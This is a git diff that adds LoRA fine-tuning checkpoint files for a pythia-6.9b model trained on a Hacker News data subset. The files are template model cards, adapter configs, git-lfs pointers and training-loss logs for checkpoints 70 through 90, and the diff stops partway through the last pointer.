b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..30f48877b1b5cecb4f6ee9ff9e7f349bfd04e3b8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:11717b9574f3965a0331965d11d81407e2c7e6ec78a7ea3860c70ec795dc551c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..fad33fbf71d0444038db314a33055966bc6dfc1b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:071f5626d4a6476b0b6de33d5d5dbc564a0e710a5e736bd037f74a72027da092 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..2b1c959e3b92a9d3847cd61e595c79a1813cfe3a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0bf8faccd3d2ca94b80304c3092e394e13d076f35c0c4f51d74490ac3412d5f9 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..edc613be9a8a7736c1c5e6c411193a18eb94121c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:116e4caee7c9274e6f2a7d93ee5e67e259426d00592030a182ec1bf7e3e1fd99 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..d3fecbd17a5d7dd59c0851b096a1669cb75dd65f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/trainer_state.json @@ -0,0 +1,138 @@ +{ + "best_metric": 2.4748315811157227, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70", + "epoch": 0.9333333333333333, + "eval_steps": 10, + "global_step": 70, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.14702503903232e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..ea22c8b1f90947bbe275aeeeaa5bf3a4e12b6bf0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a022a85211ab86aa1c769c8b742233c97c00ec6e09d3d4a5ae185d6b36973e91 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..cf2ed4a5317b77af567661ed76ec8256c8a0378c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cf1b9081910d408713e6c1538c7b5f9ed9d82b45029a2401a0e272ccb41bf2a2 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..0b228b8e8106f666fe286c5d131d496d926a7df4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:debbe8bbbf3d0dfd719072ab48974c332b6f78ebe25ef99f5002c8d0a8c8c380 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8bf25b5c8780313aa53c49c9a020653afda88fbe --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8e54696b8c39c3b120a2b1d4d03623aee6400315f6e759074fafe42342c8bf95 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8f8b0e494e3ca2799109307bb7f7f50c044c432f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/trainer_state.json @@ -0,0 +1,153 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.0666666666666667, + "eval_steps": 10, + "global_step": 80, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.31088575889408e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..09d1b969b7cc19e995f6db049d7889866b606eab --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid 